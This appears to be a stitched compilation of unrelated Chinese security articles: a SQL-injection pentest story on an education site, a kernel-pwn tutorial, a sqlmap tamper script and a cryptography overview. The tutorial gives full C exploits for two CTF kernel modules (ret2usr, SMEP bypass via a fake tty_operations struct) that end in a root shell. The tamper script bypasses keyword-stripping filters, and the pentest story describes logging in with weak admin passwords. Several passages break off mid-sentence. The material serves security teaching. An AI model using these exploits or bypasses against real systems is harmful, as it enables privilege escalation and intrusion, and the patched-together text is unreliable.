一次苦逼的SQL注入
0x01: 偶一打点,看到一个可爱的系统….
1.通过F12 把链接提出来仔细瞅瞅…
2.看见id,果断测注入…
感觉有戏
嗯? 啥数据库连接出错,啥意思??? (其实,这是运维做的混淆..)
3.这是什么操作呢? 怎么会数据库连接出错了???我最开始想的是它网站内部没有配置好,但反过来想,如果没有配置好,哪id=5也应该会出现问题才对,所以勇敢的大胆猜,这可能是是一个简单的waf,然后自定义的一个页面。
如何去验证呢? 先删删字符 看看咋回事
多半是and的出问题
4.并且他是数字型注入
编写tamper 试试把
好像是那个302跳转导致的…… 再手工看看这个xpshell
没有权限
5.手工先摸管理员把
6.如何让sql跑起了
直接在响应包里面让他报错,然后让sqlmap自动识别即可 这个点可以记住
它的密码乱码了,咋办呢?只能
发现管理员员权限是 0
批量看下
发现管理员一个账户
经过测试发现,很多弱口令账户。。。登录一个管理员,点到为止….
发现可以进行改密码,改admin的密码即可。。。点到为止
里面涉及很多敏感信息,故….
(以上漏洞已报给教育src平台,并且已经修复…….)
总结:
1.拿不到管理员应该灵活….不一定admin才是管理员,只要最后能干到管理员就好
2.出现数据库连接错误,并不是连接数据库错误,要懂得学会判断
3.对于已经确定存在sql注入的地方,由于验证码,会发生302跳转。Sqlmap无法直接注入,可以直接让它在报错注入中注入(即在请求包为一个报错注入的包—报错一个版本就行..)
实验推荐
实验:Mssql报错注入 https://www.yijinglab.com/expc.do?ec=ECID172.19.104.182015090915005900001>>
Kernel pwn 基础教程之 ret2usr 与 bypass_smep
一、前言
在我们的pwn学习过程中,能够很明显的感觉到开发人员们为了阻止某些利用手段而增加的保护机制,往往这些保护机制又会引发出新的bypass技巧,像是我们非常熟悉的Shellcode与NX,NX与ROP。而当我们将视角从用户态放到内核态的时候,便是笔者今天想与大家分享的两个利用手段:ret2usr与bypass_smep。
二、ret2usr利用介绍
ret2usr的资料在网上其实并不算多,究其原因是其利用手法相对简单,其本意是利用了内核空间可以访问用户空间这个特性来定向内核代码或数据流指向用户空间,并以ring0的特权级在用户空间完成提权操作。
三、ret2usr例题讲解
这次以Kernel ROP那一篇中介绍过的例题"2018年强网杯 core"来对ret2usr利用手段进行讲解,具体的题目分析在之前的篇章中已经做过具体分析,这边只是简单概述一下模块内容。
在core_ioctl函数中定义的三种功能
0x6677889B:执行core_read函数,存在内存信息泄露,可用来leak canary
0x6677889C:对全局变量off赋值,可用来控制core_read函数中的内存偏移,从而造成泄露问题
0x6677889A:执行core_copy_func函数,配合core_write函数以及对复制的内容长度不严谨从而造成栈溢出隐患
在前一篇Kernel ROP中我们的利用思路具体如下所示。
1、保存返回用户态所需的寄存器信息
2、利用core_read leak canary
3、通过/tmp/kallsyms中的信息获取函数地址与计算ropgadget的偏移
4、利用core_copy_func函数存在的栈溢出控制内核程序流完成提权并返回用户态执行shell
而本篇的ret2usr中我们的利用思路则发生了些许的改变,原先第四步中我们通过劫持内核程序流并构造ropchain来完成的提权步骤,现在我们修改提权方式,控制内核程序流访问user space中的函数指针来完成提权操作,在我们的exp中构建如下的函数。
void beroot() {
char* (*func1) (int) = prepare_kernel_cred;
void (*func2) (char*) = commit_creds;
(*func2)((*func1)(0));
}
可以看到我们通过函数指针的方式在用户空间执行了commit_creds(prepare_kernel_cred(0)),能过做到这样的本质原因是因为我们在劫持程序流程的时候处在ring0权限,并且因为SMEP保护未开启的原因我们可以从内核空间访问用户空间的代码,所以才能完成提权的操作。 当我们控制内核程序流在用户空间完成提权工作以后,就可以返回用户态并获取rootShell了,完整EXP如下所示。
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ioctl.h>
#define CORE_READ 0x6677889B
#define SET_OFFSET 0x6677889C
#define CORE_COPY_FUNC 0x6677889A
unsigned long long int canary[64] = {0};
unsigned long long int raw_vmlinux_base = 0xffffffff81000000;
unsigned long long int commit_creds, prepare_kernel_cred, vmlinux_base;
unsigned long long int user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("[*]status has been saved.");
}
void beroot() {
char* (*func1) (int) = prepare_kernel_cred;
void (*func2) (char*) = commit_creds;
(*func2)((*func1)(0));
}
//ffffffffb8c9c8e0 T commit_creds
int leak_addr() {
int idx;
char buf[1024];
int fd = open("/tmp/kallsyms", 0);
if (fd < 0) {
puts("[-] ERROR.");
exit(0);
}
puts("[+] Leak Address...");
while (1) {
int i;
for (i = 0; i < sizeof(buf); i++) {
read(fd, buf + i, 1);
if(buf[i] == '\n') {
if (strstr(buf, "commit_creds")) {
sscanf(buf, "%llx", &commit_creds);
printf("[+] Find commit_creds_address: 0x%llx\n", commit_creds);
vmlinux_base = commit_creds - 0x9c8e0;
prepare_kernel_cred = vmlinux_base + 0x9cce0;
return 1;
}
else {
i = 0;
}
}
}
}
return 0;
}
void leak_canary(int fd) {
puts("[+] Leak Canary...");
ioctl(fd, SET_OFFSET, 0x40);
ioctl(fd, CORE_READ, canary); //core_read+105
printf("[+] Canary: 0x%llx \n", canary[0]);
}
void get_shell() {
if (getuid() == 0) {
puts("[+] root shell.");
system("/bin/sh");
}
}
void main() {
unsigned long long int pop_rdi, pop_rsi, pop_rdx, pop_rcx, mov_rdi_rax, swapgs, iretq, xchg_rax_rdx, offset;
unsigned long long int rop[0x60];
int i = 8;
int fd = open("/proc/core", 'r');
if (fd <= 0) {
puts("[-] open filename 'core' ERROR.");
exit(0);
}
save_status();
leak_addr();
leak_canary(fd);
offset = vmlinux_base - raw_vmlinux_base;
pop_rdi = offset + 0xffffffff81000b2f;
pop_rsi = offset + 0xffffffff810011d6;
pop_rdx = offset + 0xffffffff810a0f49;
pop_rcx = offset + 0xffffffff81021e53;
swapgs = offset + 0xffffffff81a012da;
iretq = offset + 0xffffffff81050ac2;
xchg_rax_rdx = offset + 0xffffffff826684f0; // xchg rax, rdx; ret;
mov_rdi_rax = offset + 0xffffffff8106a6d2;
printf("0x%llx\n", offset);
rop[i++] = canary[0];
rop[i++] = 0;
rop[i++] = (unsigned long long int)beroot;
rop[i++] = swapgs;
rop[i++] = 0;
rop[i++] = iretq;
rop[i++] = (unsigned long long int)get_shell;
rop[i++] = user_cs;
rop[i++] = user_rflags;
rop[i++] = user_sp;
rop[i++] = user_ss;
write(fd, rop, sizeof(rop));
ioctl(fd, CORE_COPY_FUNC, 0xffffffffffff0000|0x100);
}
四、bypass_smep原理介绍
ret2usr利用最根本的原因是因为内核态可以任意访问用户态的数据,从而造成了被利用的风险。而SMEP对于ret2usr正如NX与Shellcode一样有效的降低了被利用的风险。 SMEP(Supervisormode execution protection,SMEP)机制的作用是,当进程在内核模式下运行时,该防御机制会将页表中的所有用户空间的内存页标记为不可执行的。在内核中,这个功能可以通过设置控制寄存器CR4的第20位来启用。在启动时,可以通过在-cpu选项下加入+smep来启用该防御机制,通过在-append选项下加入nosmep来禁用该机制。 由于SMEP保护使得内核空间无法访问用
而CR4寄存器我们是可以通过gadget来对里面的值进行修改的,为了关闭SMEP常用的固定值0x6f0,即mov CR4, 0x6f0。
五、bypass_smep例题讲解
同样是前面文章所提到过的2017-CISCN-babydriver,在前面的学习中我们利用Kernel UAF的方式完成了提权操作,而本次我们所要学习的就是劫持程序流关闭SMEP保护以后,利用前面所学习的ret2usr完成提权操作并获取rootshell。
在分析利用思路之前,我们需要引入一个新的结构体tty_struct。这是一个在打开/dev/ptmx设备时会分配的结构体,源码如下所示。
struct tty_struct {
int magic;
struct kref kref;
struct device *dev;
struct tty_driver *driver;
const struct tty_operations *ops;
int index;
/* Protects ldisc changes: Lock tty not pty */
struct ld_semaphore ldisc_sem;
struct tty_ldisc *ldisc;
struct mutex atomic_write_lock;
struct mutex legacy_mutex;
struct mutex throttle_mutex;
struct rw_semaphore termios_rwsem;
struct mutex winsize_mutex;
spinlock_t ctrl_lock;
spinlock_t flow_lock;
/* Termios values are protected by the termios rwsem */
struct ktermios termios, termios_locked;
struct termiox *termiox; /* May be NULL for unsupported */
char name[64];
struct pid *pgrp; /* Protected by ctrl lock */
struct pid *session;
unsigned long flags;
int count;
struct winsize winsize; /* winsize_mutex */
unsigned long stopped:1, /* flow_lock */
flow_stopped:1,
unused:BITS_PER_LONG - 2;
int hw_stopped;
unsigned long ctrl_status:8, /* ctrl_lock */
packet:1,
unused_ctrl:BITS_PER_LONG - 9;
unsigned int receive_room; /* Bytes free for queue */
int flow_change;
struct tty_struct *link;
struct fasync_struct *fasync;
wait_queue_head_t write_wait;
wait_queue_head_t read_wait;
struct work_struct hangup_work;
void *disc_data;
void *driver_data;
spinlock_t files_lock; /* protects tty_files list */
struct list_head tty_files;
#define N_TTY_BUF_SIZE 4096
int closing;
unsigned char *write_buf;
int write_cnt;
/* If the tty has a pending do_SAK, queue it here - akpm */
struct work_struct SAK_work;
struct tty_port *port;
} __randomize_layout;
而其中有一个非常有用的结构体tty_operations,其源码如下所示,不难看出其中含有大量的函数指针供我们使用。所以我们可以使用一种类似于FSOP中伪造vtable表的方式来伪造这个结构体使其可以控制内核程序流。
struct tty_operations {
struct tty_struct * (*lookup)(struct tty_driver *driver,
struct file *filp, int idx);
int (*install)(struct tty_driver *driver, struct tty_struct *tty);
void (*remove)(struct tty_driver *driver, struct tty_struct *tty);
int (*open)(struct tty_struct * tty, struct file * filp);
void (*close)(struct tty_struct * tty, struct file * filp);
void (*shutdown)(struct tty_struct *tty);
void (*cleanup)(struct tty_struct *tty);
int (*write)(struct tty_struct * tty,
const unsigned char *buf, int count);
int (*put_char)(struct tty_struct *tty, unsigned char ch);
void (*flush_chars)(struct tty_struct *tty);
int (*write_room)(struct tty_struct *tty);
int (*chars_in_buffer)(struct tty_struct *tty);
int (*ioctl)(struct tty_struct *tty,
unsigned int cmd, unsigned long arg);
long (*compat_ioctl)(struct tty_struct *tty,
unsigned int cmd, unsigned long arg);
void (*set_termios)(struct tty_struct *tty, struct ktermios * old);
void (*throttle)(struct tty_struct * tty);
void (*unthrottle)(struct tty_struct * tty);
void (*stop)(struct tty_struct *tty);
void (*start)(struct tty_struct *tty);
void (*hangup)(struct tty_struct *tty);
int (*break_ctl)(struct tty_struct *tty, int state);
void (*flush_buffer)(struct tty_struct *tty);
void (*set_ldisc)(struct tty_struct *tty);
void (*wait_until_sent)(struct tty_struct *tty, int timeout);
void (*send_xchar)(struct tty_struct *tty, char ch);
int (*tiocmget)(struct tty_struct *tty);
int (*tiocmset)(struct tty_struct *tty,
unsigned int set, unsigned int clear);
int (*resize)(struct tty_struct *tty, struct winsize *ws);
int (*set_termiox)(struct tty_struct *tty, struct termiox *tnew);
int (*get_icount)(struct tty_struct *tty,
struct serial_icounter_struct *icount);
void (*show_fdinfo)(struct tty_struct *tty, struct seq_file *m);
#ifdef CONFIG_CONSOLE_POLL
int (*poll_init)(struct tty_driver *driver, int line, char *options);
int (*poll_get_char)(struct tty_driver *driver, int line);
void (*poll_put_char)(struct tty_driver *driver, int line, char ch);
#endif
int (*proc_show)(struct seq_file *, void *);
} __randomize_layout;
那么具体应该怎么利用呢?首先我们需要注意到的就是在本题环境中tty_struct结构体占0x260字节大小,所以我们可以利用题目中存在的UAF漏洞泄露出结构体的部分内容并修改其中的tty_operations指向我们伪造的结构体fake_tty_ops并在其中布置好相应的ropchain即可完成最终的利用。 但是这样的话又会产生一个问题,我们伪造的tty_operations结构体中应该怎么布局才可以呢?我们不妨写一个简单的测试代码通过动调的方式来理解,具体的代码如下所示。
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ioctl.h>
void main() {
int fd1 = open("/dev/babydev", O_RDWR);
int fd2 = open("/dev/babydev", O_RDWR);
// UAF
ioctl(fd1, 0x10001, 0x2e0);
close(fd1);
// fake struct
size_t fake_tty_struct[32];
size_t fake_tty_ops[32];
fake_tty_ops[0] = 0xffffffffc0000130;
fake_tty_ops[1] = 0xffffffffc0000130;
fake_tty_ops[2] = 0xffffffffc0000130;
// fake_tty_ops[7] = mov_rsp_rax;
fake_tty_ops[7] = 0xffffffffc0000130;
// close smep --> ret2usr --> get root's shell
int fd_tty = open("/dev/ptmx", O_RDWR);
read(fd2, fake_tty_struct, 32);
fake_tty_struct[3] = (size_t)fake_tty_ops;
write(fd2, fake_tty_struct, 32);
write(fd_tty, "AMALLL", 6);
}
然后我们将写好的demo静态编译完成后,使用gdb脚本调试,创建gdbint文件并写入如下内容,最后在qemu启动脚本中添加-s选项并另开shell窗口执行gdb -x gdbinit即可动调。
file vmlinux
add-symbol-file babydriver.ko 0xffffffffc0000000
b babyread
target remote :1234
continue
上面的demo中我们伪造了tty_operations结构体中write函数指针为babyread函数地址,并且通过动调我们可以发现rax寄存器正是我们所伪造的fake_tty_operations结构体的地址,那么如果我们将tty_operations结构体中write函数指针位置放置诸如 mov rsp ,rax; 一类的gadget,则可以劫持栈指针到我们的fake_tty_operations地址处,我们再在伪造的结构体开头布置上二次栈迁移的gadget控制rsp指向我们布置的ropchain上,那么就可以执行关闭SMEP的rop,然后我们就可以利用前面介绍的ret2usr rop进
EXP.C
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ioctl.h>
size_t user_cs, user_ss, user_rflags, user_sp;
size_t commit_creds = 0xffffffff810a1420;
size_t prepare_kernel_cred = 0xffffffff810a1810;
size_t pop_rdi = 0xffffffff810d238d;
size_t mov_cr4 = 0xffffffff81004d80; // mov cr4, rdi; pop rbp; ret;
size_t swapgs = 0xffffffff81063694; // swapgs; pop rbp; ret;
size_t iretq = 0xffffffff814e35ef;
size_t pop_rax = 0xffffffff8100ce6e;
size_t mov_rsp_rax = 0xffffffff8181bfc5; // mov rsp,rax ; dec ebx ; ret
void save_status() {
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("[*]status has been saved.");
}
void beroot() {
char* (*func1)(int) = (char* (*)(int))prepare_kernel_cred;
void (*func2)(char*) = (void (*)(char *))commit_creds;
(*func2)((*func1)(0));
}
void getshell() {
if (getuid() == 0) {
puts("[+] root now.");
system("/bin/sh");
}else {
puts("[-] Get shell error.");
exit(0);
}
}
void main() {
save_status();
int fd1 = open("/dev/babydev", O_RDWR);
int fd2 = open("/dev/babydev", O_RDWR);
// UAF
ioctl(fd1, 0x10001, 0x2e0);
close(fd1);
// set ropchain
size_t rop[0x30] = {0};
int i = 0;
rop[i++] = pop_rdi;
rop[i++] = 0x6f0;
rop[i++] = mov_cr4;
rop[i++] = 0;
rop[i++] = (size_t)beroot;
rop[i++] = swapgs;
rop[i++] = 0;
rop[i++] = iretq;
rop[i++] = (size_t)getshell;
rop[i++] = user_cs;
rop[i++] = user_rflags;
rop[i++] = user_sp;
rop[i++] = user_ss;
// fake struct
size_t fake_tty_struct[32];
size_t fake_tty_ops[32];
fake_tty_ops[0] = pop_rax;
fake_tty_ops[1] = (size_t)rop;
fake_tty_ops[2] = mov_rsp_rax;
fake_tty_ops[7] = mov_rsp_rax;
// close smep --> ret2usr --> get root's shell
int fd_tty = open("/dev/ptmx", O_RDWR);
read(fd2, fake_tty_struct, 32);
fake_tty_struct[3] = (size_t)fake_tty_ops;
write(fd2, fake_tty_struct, 32);
write(fd_tty, "AMALLL", 6);
}
六、总结
笔者分享的两种利用方式都不算困难,但是需要注意的是在编译exploit时请使用Ubuntu 16.04的环境,笔者尝试使用Ubuntu 20 与 18的环境编译exploit最终执行阶段都无法完成提权操作。同时在做Kernel题目的时候会明显的感觉自己的知识树储备不够,这里笔者推荐《操作系统真象还原》这本书,里面不管是案例还是讲解都非常有趣,相信你一定能从这本书中有所收获。
SQLMAP-Tamper之较为通用的双写绕过
前言
21年省决赛的SQLITE注入就是用的双写绕过,当时是手搓代码打的,这几天想起来了,寻思着写个tamper试试。
一开始以为很简单,后来才发现有很多要注意的点,折磨了挺久。
等弄完才明白为什么sqlmap没有自带双写的tamper,涉及的情况太多,需要根据具体过滤逻辑来写代码,没法做到统一。
思路
过滤代码很简单:
blacklist = ["ABORT", "ACTION", "ADD", "AFTER", "ALL", "ALTER", "ALWAYS", "ANALYZE", "AND", "AS", "IN", "ASC", "ATTACH", "AUTOINCREMENT", "BEFORE", "BEGIN", "BETWEEN", "CASCADE", "CASE", "CAST", "CHECK", "COLLATE", "COLUMN", "COMMIT", "CONFLICT", "CONSTRAINT", "CREATE", "CROSS", "CURRENT", "CURRENT_
for n in blacklist:
regex = re.compile(n, re.IGNORECASE)
username = regex.sub("", username)
先拿个网上的代码举例,
核心代码为
for keyword in keywords:
_ = random.randint(1, len(keyword) - 1)
retVal = re.sub(r"(?i)\b%s\b" % keyword, "%s%s%s" % (keyword[:_], keyword, keyword[_:]), retVal)
其逻辑为:用正则进行搜索单词,类似:
当检测到payload中存在关键字,就将该关键字插入到原本关键字字符串的随机位置。
很常规的逻辑,但在这里有一些问题:
1.类似SELECT->SELSELECTECT,如果添加的位置不对,就可能新生成一个存在于黑名单的字样导致sqlmap误判。
2.混淆得不够彻底。代码中是以单词为单位,但过滤时会扩大面积。精简一下:
keywords = ['OR','ORDER']
payload = 'ORDER'
混淆时:ORDER->OORRDER
过滤时:OORRDER->ORDER-> ''(为空)
那么,手动选某个关键字列表中比较特别的字样去统一混淆如何?
结论是可,但是费劲。首先需要先写个小脚本将关键字列表里的不纯粹的元素剔除。比如ORDER里含有OR,那么就需要将ORDER剔除。其次还得保证sqlmap的测试语句里不使用该字样,否则将导致误判。
整理一下上述思路,可以开始着手编写tamper了。
代码
写脚本之前先介绍下tamper模板
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOWEST
def dependencies():
pass
def tamper(payload, **kwargs):
return payload
__priority__定义脚本优先级:LOWEST、LOWER、LOW、NORMAL、HIGH、HIGHER、HIGHEST
dependencies()则声明该函数的适用/不适用范围,可为空
tamper()则是主要函数,处理传入的payload并返回。
好,然后就是脚本的完整代码
#!/usr/bin/env python
"""
Copyright (c) 2006-2022 sqlmap developers (http://sqlmap.org/)
See the file 'doc/COPYING' for copying permission
"""
import re
from lib.core.common import singleTimeWarnMessage
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.NORMAL
def tamper(payload, **kwargs):
"""
优化的双写绕过,顺序插入并判断是否新组成过滤单词
比如SELECT,当插入位置为3时为SELSELECTECT,则会生成黑名单列表中另一个单词ELSE造成误判
在此进行相关判断以保证生成的字符不存在另一个敏感词。
主要应对:
blacklist = [...]
for n in blacklist:
regex = re.compile(n, re.IGNORECASE)
username = regex.sub("", username)
>>> tamper('select 1 or 2 ORDER')
'selorect 1 oorr 2 OorRDER'
"""
keywords = ["ABORT", "ACTION", "ADD", "AFTER", "ALL", "ALTER", "ALWAYS", "ANALYZE", "AND", "AS", "IN", "ASC", "ATTACH", "AUTOINCREMENT", "BEFORE", "BEGIN", "BETWEEN", "CASCADE", "CASE", "CAST", "CHECK", "COLLATE", "COLUMN", "COMMIT", "CONFLICT", "CONSTRAINT", "CREATE", "CROSS", "CURRENT", "CURRE
retVal = payload
warnMsg = "当前关键字列表如下,请注意修改:\n"
warnMsg += "%s" % keywords
singleTimeWarnMessage(warnMsg)
if payload:
for key in reversed(keywords):
index = keywords.index(key)
num = 1
check = True
while check:
if num >= len(key):
singleTimeWarnMessage('无法绕过双写关键字列表')
exit()
check = False
repStr = "%s%s%s" % (key[:num], key, key[num:])
for t in keywords[:index]:
if re.search(t, repStr) and not re.search(t, key):
check = True
break
num += 1
retVal = re.sub(key, repStr, retVal, flags=re.I)
return retVal
for key in reversed(keywords):首先进入最外层的关键字循环,在这里使用逆序,混淆的时候先2后1,过滤的时候先1后2,就能很好的还原代码。
while num < len(key) and check:然后进入第二层循环。num为插入位置,比如ASC,能插入的地方有AS中间和SC中间,如果都插入了一遍还是检测到敏感词,说明再怎么双写都会被检测出来。
for t in keywords[:index]:第三层循环就是二次校验了,比如['A','ELSE','B','SELECT','C'],混淆的时候从后往前,如果插入的位置不好,SELECT->SELSELECTECT。这样从前面循环检测,检测到ELSE,则该位置不合法,重新插入。个人感觉从中间插入组成新敏感词的几率比较小,但仔细琢磨一下也没必要多加几行代码,于是就干脆用顺序了。
至于not re.search(t, key)是为了避免ORDER中存在OR而被误判位置不合法的情况。
使用的时候把keywords列表一替换,拿到sqlmap一打,结束!
有个比较无语的点是re.sub()函数的第四个参数才是flags。
写代码的时候习惯性的在第三个参数位置打上re.I,然后又因为int(re.I)为2,程序正常运行不报错,最大替换次数为2次。折磨了好长时间。
实验推荐
实验:SQL注入之绕过is_numeric过滤(蚁景网安实验室) https://www.yijinglab.com/expc.do?ec=ECID9d6c0ca797abec2016072212515000001>>
密码学的安全性浅析2
分组密码
分组密码是一种对称密钥算法。它将明文分成多个等长的模块,使用确定的算法和对称密钥对每组分别加密解密。分组加密是极其重要的加密协议组成,其中典型的如AES和3DES作为美国政府核定的标准加密算法,应用领域从电子邮件加密到银行交易转帐,非常广泛。基本流程细节这里不展开,可以参考密码学相关教材,本文专注于分析其中与安全性有关的部分。
分组大小
分组密码有两个重要的特征:分组大小和密钥大小,其安全性也取决于这两个值,大多数分组密码的分组大小为64比特或128比特,比如DES的分组为64比特,AES的分组为128比特,这些都是2的n次幂,因为这可以让数据的存储、寻址、处理等操作更加方便。
但是各位有没有想过为什么是64、128,而不是256或者更小的32呢?
首先分组不能太大,我们应该让密文的长度和内存占用尽可能小。比如我们使用AES加密16比特信息时,需要将信息转换为128比特,然后对其处理得到128比特密文,很明显,分组越大,开销也越大。64比特、128比特对于大多数CPU的寄存器都可以方便操作。
同时分组不能太小,分组太小的话容易受到代码本攻击Codebook attack。代码本攻击是用16比特分组进行的:
1.首先得到对应于每个16比特明文分组的2^16个密文
2.然后建立代码本,即查找表,将每个密文分组映射到相应的明文分组
3.对未知的密文分组进行解密,查找表中对应的明文分组
如果使用的是16比特分组长度的密码,则攻击者建立的查找表只需要16x2^16=
2^20比特内存,即128kb;而如果使用的是分组长度为32比特,则内存需要16gb,这对于攻击者而言都是可行的;而如果要攻击64比特分组的密码,攻击者必须要有1ZB的内存,这是不可行的。
分组构造
我们知道,分组密码实际上是一个循环多轮的运算,轮本身是很弱的一系列运算,但是数量很多。而循环的构造主要有两种技术:代换-置换网络(Substitution-Permutation Network,SP-network或SPN))(AES采用)和Feistel方案(DES采用)
在分组密码中,我们会明确规定轮与轮之间是不相同的,这是为什么呢?因为如果相同的话,容易受到滑动攻击Slide attack。
滑动攻击中的攻击者找到两个明文-密文对(P1,C1)(P2,C2),设R是分组密码的轮函数,有P2=R(P1)。当轮函数相同时,两个明文之间的关系蕴含着对应的各自密文之间的关系即C2=R(C1),下图是轮数为3时的示意图
攻击者一旦知道一轮的输入和输出就有助于恢复出密钥。
我们一般可以通过使用不同的子密钥作为参数确保每轮的运算是不同的,从而防止滑动攻击。
AES
AES的全称是Advanced Encryption Standard,意思是高级加密标准。它的出现主要是为了取代DES加密算法的,因为我们都知道DES算法的密钥长度是56Bit,因此算法的理论安全强度是2的56次方。但二十世纪中后期正是计算机飞速发展的阶段,元器件制造工艺的进步使得计算机的处理能力越来越强,虽然出现了3DES的加密方法,但由于它的加密时间是DES算法的3倍多,64Bit的分组大小相对较小,所以还是不能满足人们对安全性的要求。于是1997年1月2号,美国国家标准技术研究所宣布希望征集高级加密标准,用以取代DES。AES也得到了全世界很多密码工作者的响应,先后有很多人提交了自
AES组成
AES每轮的四个步骤如下示意
图中所示的运算都是必要的,如果缺乏任一,AES都是不安全的,具体分析如下:
如果没有KeyExpansion,所有轮都会使用相同的密钥K,则容易受到滑动攻击;
如果没有AddRoundKey,加密将不依赖于密钥;这意味着,攻击者可以在没有密钥的情况下解密密文;
SubBytes引入了非线性操作,增加了密码强度,如果没有SubBytes,AES只是由线性函数构成的大系统,使用基础的高等代数知识就可以破解它。
如果没有ShiftRows,给定列中的更改就不会影响其他列,那么攻击者就可以为每列构造4个2^32个元素的查找表来攻破AES
如果没有MixColumns,字节的变化不会影响该状态的其他任何字节。那么对于选择明文攻击而言,只需存储16个查找表(每个表256字节)后就可以解密任何密文,因为这些表中保存着每个字节可能的加密值。
AES实现
虽然在上一节中我们看到有SubBytes(),ShiftRows(),MixColumns()等操作,但是实际中的AES实现代码并不会用这些函数,因为效率太低,AES通过会基于表实现。
AES基于表的实现实际上是利用查询硬编码在程序中并在执行时加载到内存中的表以及XOR运算替换SubBytes(),ShiftRows(),MixColumns()等操作,比如在openssl中其对应的C语言实现如下
但是基于查找表的实现容易受到基于时间的缓存攻击cache-timing attack,当程序读取或者写入缓存中的元素时存在时间变化上的差异,因为访问cache中的元素的相对位置不同则时间也不同,通过这种差异攻击者就可以知道程序访问了哪个元素,进而推测秘密。
操作模式
分组密码加密模式中最简单的就是ECB,ECB模式下的分组密码是不安全的,一个直观的示意如下所示
左侧为原始图像,右侧为使用AES以ECB模式加密后的结果,可以看到在加密后的图像上还是很容易看出企鹅,这本质上是因为原始图像中灰度阴影的所有分组都被加密到新图像中相同的新灰度阴影中。
而在CBC模式中也存在一定问题,CBC通常与固定IV一起使用,而不是使用随机IV,这会导致什么问题呢?设两个明文分组P1||P2在CBC模式下加密得到密文C1||C2;另外有明文分组P1||P2'使用相同的IV加密得到C1||C2'。其中P2与P2’是不同的分组,在得到的密文中,虽然C2和C2‘不同,但是C1是相同的,即危害在于,即使攻击者只拿到密文,但是攻击者仍然可以推测出两个明文的第一个分组是相同的。
中间相遇攻击
在分组密码领域,有两种必须知道的攻击方案,一种是已经介绍过的padding oracle attack,另一种是中间相遇攻击。
提到中间相遇攻击,不知道大家有没有想过一个问题,为什么DES进一步派生出3DES,而不是2DES呢?
因为通过中间相遇攻击,2DES的安全性依然相当于DES,分析如下
设有一个2DES算法C=E(K2,E(K1,P)),其中P为明文,K1,K2均为56比特的密钥。攻击示意如图
流程如下
1.首先构建有2^56项的E(K1,P)的密钥值表
2.对于K2的所有2^56个值,计算D(K2,C)并检查结果值是否出现在表的索引中
3.如果出现,则从表中取出对应的K1,并使用相应的P,C验证找到的K1,K2是否正确,再用它们加密P看是否能得到C,如果可以则说明攻击成功
可以看到,这种攻击方式只需要2x2^56次操作即可,远小于
2^112
而如果我们将这种攻击方式应用于3DES,可以推算出来,第三阶段需要计算K2,K3的所有2^112个值,这意味说3DES实际上只有112比特的安全性,尽管其密钥长度为168比特。
序列密码
序列密码也称为流密码(Stream Cipher),它是对称密码算法的一种。序列密码具有实现简单、便于硬件实施、加解密处理速度快、没有或只有有限的错误传播等特点,因此在实际应用中,特别是专用或机密机构中保持着优势,典型的应用领域包括无线通信、外交通信。
基于硬件
基于硬件的序列密码基本都离不开反馈移位寄存器FSR。
上图所示是一个n级反馈移位寄存器。
其中,a0,a1,…,an−1为初态。F 为反馈函数或者反馈逻辑。如果 F 为线性函数,那么我们称其为线性反馈移位寄存器LFSR,否则我们称其为非线性反馈移位寄存器NFSR。ai+n=F(ai,ai+1,...,ai+n−1)
FSR被无数序列密码使用,因为它非常简单而且容易理解,从上图可见,其包含由一些比特组成的数组以及一个更新的反馈函数F,FSR的状态存储在数组或寄存器中,每次更新就是使用F改变状态并产生一个输出比特。在使用FSR时,需要尽量避免使用短周期的,因为这样会使输出序列更容易预测。
LFSR中文为线性反馈移位寄存器,是具有线性反馈函数的FSR。在密码学中,线性性质意味着可预测性,也暗示着存在简单并容易理解的数学结构。在序列密码中使用LFSR并不安全,假设一个LFSR的长度为n,攻击者仅需要n比特输出就可以还原该寄存器的初始状态,由此可以反推之前的状态信息并得到之后的输出序列,这种攻击基于Berlekamp-Massey(BM)算法,其依赖于LFSR的数学结构去建立方程,求解方程即可。实际上攻击者即使不知道n,也可以通过穷举所有可能的长度进行攻击。
为了掩盖LFSR的线性性质,可以对LFSR的输出序列进行非线性过滤以得到非线性程度更高的密钥序列,称其为过滤生成器,如下所示
图中的g为非线性函数,如异或、逻辑与、逻辑或等。
不过这还是会受到其他复杂的攻击:
代数攻击Algebraic attack:当未知变量是LFSR的内部状态比特时,代数攻击可以求解以内部状态为未知变量的非线性方程
立方攻击Cube attacks:通过计算非线性方程的微商,使其方程的代数次数降到1次,进而得到线性方程组从而求解
快速相关攻击Fast correlation attacks:挖掘非线性过滤函数和线性函数的相似度来实施攻击
为了彻底解决这个问题可以使用NFSR,即非线性反馈移位寄存器,它使用了非线性函数,它的输出比特和状态比特之间的代数关系的复杂性更高,随着运行次数的增加,复杂性呈指数规模增长。
A5/1
基于硬件的序列密码中的一个代表算法就是A5/1,其被用于2G移动通信中,用于对语音通信加密.示意图如下
A5/1流密码使用三个LFSR。虽然我们前面说LFSR不安全,但是A5/1使用小技巧是它变得较为安全,它使用的3个LFSR并非每一时刻都输出,而是通过下面的钟控规则决定每个寄存器的停走:如果某个寄存器的钟控位(橙色)和另一个寄存器的钟控位相同或著三个寄存器的钟控位都相同,则对该寄存器作移位操作。
特别地,在2G通信中使用的A5/1算法有64比特密钥和22比特nonce,其中加密每一帧所用的nonce不同,针对A5/1的攻击旨在恢复算法的64比特的初始状态(即三个寄存器的长度之和19+22+23),然后通过算法的初始化原理恢复nonce和密钥。这种攻击属于已知明文攻击,因为攻击者需要知道部分明文以及对应的密文,这样通过异或运算可以得到部分密钥序列比特。针对A5/1的攻击主要有两类,分别是细致攻击subtle attack以及暴力攻击brutal attack.
